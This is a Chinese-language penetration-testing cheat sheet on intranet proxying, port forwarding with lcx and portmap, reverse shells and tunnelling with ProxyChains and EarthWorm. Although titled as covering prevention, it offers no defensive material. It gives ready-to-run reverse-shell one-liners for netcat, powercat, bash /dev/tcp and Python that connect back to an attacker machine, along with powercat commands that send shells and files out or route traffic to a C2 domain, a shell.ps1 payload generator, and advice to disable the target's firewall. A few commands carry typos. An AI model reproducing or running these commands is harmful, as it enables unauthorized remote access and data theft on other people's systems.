隧道及预防
1 内网代理
-
正向:
工具机主动连接目标机,目标机处于监听状态。
两者能直接连通,如在同一局域网下或者同在公网。
-
反向:
目标机主动连接工具机,工具机处于监听状态。
目标机在内网,两者无法直接连通。
2 端口转发和映射
2.1 工具机与目标机可直接相互访问
-
工具机
lcx.exe -listen 1111 2222 # 1111是在工具机上监听目标机的端口 #转发到2222作为连接目标机的端口
-
目标机
lcx.exe -slave 192.168.123.111 1111 127.0.0.1 3389 # 第一个IP是工具机的IP # 第二个IP是目标机的IP,一般是127.0.0.1,3389对应需要被监听的端口
-
使用远程桌面登录
127.0.0.1:2222
注意不要使用目标机原有管理账户登录,以免顶掉程序
2.2 工具机与目标机不可直接相互访问
-
目标机上监听本地3389端口并转发到工具机所连VPS的1111端口
lcx slave 工具机所连接的VPS的IP 1111 127.0.0.1 3389
-
在工具机所连VPS监听1111端口并转发到2222端口供工具机连接
portmap -m 2 -p1 1111 -p2 2222
Linux上
portmap
的用法:Usage:./portmap -m method [-h1 host1] -p1 port1 [-h2 host2] -p2 port2 [-v] [-log filename] -v:version -h1:host1 -h2:host2 -p1:port1 -p2:port2 -log:log the data -m:the action method for this tool 1: listen on PORT1 and connect to HOST2:PORT2 2: listen on PORT1 and PORT2 3: connect to HOST1:PORT1 and HOST2:PORT2
-
工具机上连接VPS的端口
工具机所连接的VPS的IP:2222
3 反弹shell
3.1 Netcat
3.1.1 命令介绍
connect to somewhere: nc [-options] hostname port[s] [ports] ...
listen for inbound: nc -l -p port [-options] [hostname] [port]
options:
-c shell commands as `-e'; use /bin/sh to exec [dangerous!!]
-e filename program to exec after connect [dangerous!!]
-b allow broadcasts
-g gateway source-routing hop point[s], up to 8
-G num source-routing pointer: 4, 8, 12, ...
-h this cruft
-i secs delay interval for lines sent, ports scanned
-k set keepalive option on socket
-l listen mode, for inbound connects
-n numeric-only IP addresses, no DNS
-o file hex dump of traffic
-p port local port number
-r randomize local and remote ports
-q secs quit after EOF on stdin and delay of secs
-s addr local source address
-T tos set Type Of Service
-t answer TELNET negotiation
-u UDP mode
-v verbose [use twice to be more verbose]
-w secs timeout for connects and final net reads
-C Send CRLF as line-ending
-z zero-I/O mode [used for scanning]
port numbers can be individual or ranges: lo-hi [inclusive];
hyphens in port names must be backslash escaped (e.g. 'ftp\-data').
3.1.2 正向
-
目标机
注意首先要关闭其防火墙,否则有可能翻车
systemctl stop firewalld.service
#windows机器 nc -lvvp 1111 -e C:\Windows\System32\cmd.exe #linux机器 nc -lvvp 1111 -e /bin/bash
在目标机centos7:
-
工具机
nc 目标机IP 1111
即可反弹shell:
3.1.3 反向
-
两台正向不通反向通的机器:
-
工具机
nc -lvvp 1111
-
目标机
#Windows nc -e C:\Windows\System32\cmd.exe 工具机IP 1111 #Linux nc -e /bin/bash 工具机IP 1111
3.2 Powercat
官方例子
#监听端口8000并将输出打印到控制台。
powercat -l -p 8000
#连接到10.1.1.1端口443,发送一个shell,并启用详细信息。
powercat -c 10.1.1.1 -p 443 -e cmd -v
#连接c2.example.com上的dnscat2服务器,向10.1.1.1端口53的dns服务器发送dns查询。
powercat -c 10.1.1.1 -p 53 -dns c2.example.com
#将文件发送到10.1.1.15的8000端口。
powercat -c 10.1.1.15 -p 8000 -i C:\inputfile
#将发送到端口4444上的本地监听器的数据写入C:\outfile
powercat -l -p 4444 -of C:\outfile
#监听端口8000并重复服务器powershell shell。
powercat -l -p 8000 -ep -rep
#通过tcp将8000端口进入的流量中继到10.1.1.1端口9000。
powercat -l -p 8000 -r tcp:10.1.1.1:9000
#通过tcp将进入端口8000的流量转发到c2.example.com上的dnscat2服务器,将查询发送到10.1.1.1端口53。
powercat -l -p 8000 -r dns:10.1.1.1:53:c2.example.com
3.2.1 部署
-
下载
powercat.ps1
-
打开powershell,导入该模块
Import-Module .\owercat.ps1
如果导入失败,先执行以下语句:
Set-ExecutionPolicy Unrestricted
至此即可使用powercat命令。
3.2.2 工具机netcat与目标机powercat正向
-
目标机
powercat -l -p 1234 -e cmd.exe -v
-
工具机
nc 目标机IP 1234 -vv
3.2.3 工具机netcat与目标机powercat反向
-
工具机
nc -l -p 8888 -vv
-
目标机
powercat -c 工具机IP -p 8888 -v -e cmd.exe
3.2.4 双方powercat反向连接
-
目标机
powercat -c 工具机IP -p 1234 -v -ep
-
工具机
powercat -l -p 1234 -v
3.2.5 生成payload
-
工具机
#生成payload powercat -l -p 1234 -e cmd -v -g >> shell.ps1 #开启监听 powercat -c 目标机IP -p 1234 -v
-
目标机
#powershell中 .\shell.ps1
3.4 Bash
-
目标机
Linux
bash -i >&/dev/tcp/工具机IP/工具机端口 0>&1 bashi -i >&/dev/tcp/工具机IP/工具机端口 0/&2 #tcp可以换成udp
以上命令表示建立一个bash重定向到工具机
-
工具机
#监听TCP nc -lvvp 设定的端口 #监听UDP nc -lup 设定的端口
3.5 Python
-
工具机
nc -lvvp 端口号
-
目标机
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("工具机IP",工具机端口号));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
4 隧道技术
4.1 ProxyChains
ProxyChains是遵循GNU协议的一款适用于Linux系统的网络代理设置工具,强制由任一程序发起的TCP连接请求必须通过注入TOR或SOCKS4、SOCKS5或HTTP(S)代理,支持的认证方式包括:SOCKS4/5的用户/密码认证,HTTP的基本认证,允许TCP和DNS通过代理隧道,并且可配置多个代理。
4.1.1 安装
git clone https://github.com/rofl0r/proxychains-ng
cd 路径
./configure
make && make install
4.1.2 配置
vim /etc/proxychains.conf
#添加内容
socks4 IP 端口号
4.1.3 使用
proxychains 命令
4.2 EarthWorm
基于标准C开发,拒用socks5代理,端口转发和映射功能。多平台。
4.2.1 安装
https://github.com/idlefire/ew
4.2.2 配置
#该工具共有 6 种命令格式(ssocksd、rcsocks、rssocks、lcx_slave、lcx_listen、lcx_tran)。
#1. 正向 SOCKS v5 服务器
$ ./ew -s ssocksd -l 1080
#2. 反弹 SOCKS v5 服务器
#这个操作具体分两步:
#a) 先在一台具有公网 ip 的主机A上运行以下命令:
$ ./ew -s rcsocks -l 1080 -e 8888
#b) 在目标主机B上启动 SOCKS v5 服务 并反弹到公网主机的 8888端口
$ ./ew -s rssocks -d 1.1.1.1 -e 8888
#成功。
#3. 多级级联
#工具中自带的三条端口转发指令,它们的参数格式分别为:
$ ./ew -s lcx_listen -l 1080 -e 8888
$ ./ew -s lcx_tran -l 1080 -f 2.2.2.3 -g 9999
$ ./ew -s lcx_slave -d 1.1.1.1 -e 8888 -f 2.2.2.3 -g 9999
#通过这些端口转发指令可以将处于网络深层的基于TCP的服务转发至根前,比如 SOCKS v5。
#首先提供两个“二级级联”本地SOCKS测试样例:
#a) lcx_tran 的用法
$ ./ew -s ssocksd -l 9999
$ ./ew -s lcx_tran -l 1080 -f 127.0.0.1 -g 9999
#b) lcx_listen、lcx_slave 的用法
$ ./ew -s lcx_listen -l 1080 -e 8888
$ ./ew -s ssocksd -l 9999
$ ./ew -s lcx_slave -d 127.0.0.1 -e 8888 -f 127.0.0.1 -g 9999
#再提供一个“三级级联”的本地SOCKS测试用例以供参考
$ ./ew -s rcsocks -l 1080 -e 8888
$ ./ew -s lcx_slave -d 127.0.0.1 -e 8888 -f 127.0.0.1 -g 9999
$ ./ew -s lcx_listen -l 9999 -e 7777
$ ./ew -s rssocks -d 127.0.0.1 -e 7777
#数据流向: SOCKS v5 -> 1080 -> 8888 -> 9999 -> 7777 -> rssocks